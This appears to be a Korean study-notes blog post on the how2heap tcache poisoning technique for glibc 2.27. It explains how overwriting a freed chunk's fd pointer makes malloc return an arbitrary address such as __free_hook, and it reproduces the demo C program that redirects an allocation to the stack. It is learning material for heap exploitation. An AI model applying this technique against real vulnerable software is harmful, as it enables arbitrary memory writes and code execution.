https://wargames.ret2.systems/level/how2heap_tcache_poisoning_2.27
대충 2.27 버전만 정리해보았다.
tcache poisoning 이란?
- tcache에 있는 free chunk의 fd(다음 청크 포인터)를 덮어서, 다음 malloc()이 원하는 주소를 반환하게 만드는 공격 기법
- free된 청크는 tcache bin에 들어가고 `tcache[0x40] → chunk1 → chunk2 → NULL` 이런식으로 단방향 리스트로 연결이된다.
fd를 덮으면?
- 다음 malloc 시 그 주소를 반환하게 된다. (tcache 는 fd를 따라가며 chunk를 pop하기 때문)
- double free 보호도 우회가 가능하다. (보호 로직은 fd== tcache[bin]일 때만 탐지가 되기 때문)
free chunk0을 하고, 해당 부분의 fd를 `__free_hook`으로 덮으면?
__free_hook 이라는 원하는 주소를 반환하게 만들 수 있고, 임의 주소에 값 쓰기까지 가능해진다.
tcache -> chunk0 (fd=__free_hook)
malloc () -> returns chunk0
malloc () -> returns __free_hook
익스플로잇 흐름
1. 두 버퍼를 malloc하여 할당한다.
2. 두 버퍼를 free한다.
3. fd(8bytes)를 덮어쓸 수 있게 된다.
4. 두번 malloc하면, 두번째 malloc이 return하는 주소는 내가 덮어쓴 주소가 된다.
5. 마지막으로, exit이나 직접 free를 하던가 해서 free를 하게되면, 원하는 컨트롤이 가능하다.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("Freeing the buffers...\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");
assert((long)&stack_var == (long)c);
return 0;
}
'how2heap' 카테고리의 다른 글
[how2heap] overlapping_chunks (0) | 2025.05.22 |
---|